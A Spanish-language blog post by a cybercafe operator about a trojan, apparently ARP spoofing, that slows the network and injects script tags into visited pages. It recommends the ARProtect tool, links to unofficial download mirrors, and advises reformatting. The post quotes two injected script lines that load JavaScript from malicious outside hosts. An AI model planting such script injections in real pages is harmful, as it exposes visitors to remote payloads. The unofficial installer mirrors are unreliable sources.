Hoy estube atendiendo en un cybercafe y me doy con la ingrata solpresa que toda la red empezo a lentearse me mostraba las paginas incompletas con errores, con avisos parecia como si todas las maquinas estuvieran infectadas, esta no era la primera vez q me sucedia hace tiempo tube el mismo problema, formatee todas las maquinas del internet y ni asi … parecia q estaba instalando el virus ,  empeze a investigar (jajaja q bonito sono esa frase) y me di cuenta el troyano  agregaba un codigo al las paginas un script algo asi como estos, hay varios:

<script language=”javascript” SRC=”http://ads.vk987.info/vip.js”></script>
<script language=”javascript” SRC=”http://g.asdafdgfgf.com/ads.js“></script> 

 

ya habiendo buscado y probado varias cosas,  la solucion seria detectar la maquina infectada y formatearla (vaya conclusion) el problema radica en eso, encontrar la maquina infectada q como dije antes parece q todas las maquinas estuviesen infectadas, para esto hay un programa q por cierto es freeware llamado ARProtect cuya web oficial es esta :  http://www.netoptima.in/arprotect  pero a mi no me funciona creo q esta cerrada o algo asi q les voy a poner unos mirrors

http://rs130.rapidshare.com/files/139517379/ARProtect_Setup_0.12.27.rar

http://www.4shared.com/file/67429382/eafabefd/ARProtect_Setup_01227.html

Lo instalamos y como podemos observar la maquina que tiene la IP 192.168.1.14 esta infectada, y la ip 192.168.1.1 es la de nuestro router. Solo hay q instalarle un antivirus o en el peor de los casos formatearla y listo :D asunto solucionado.

Aqui una copia del virus  :p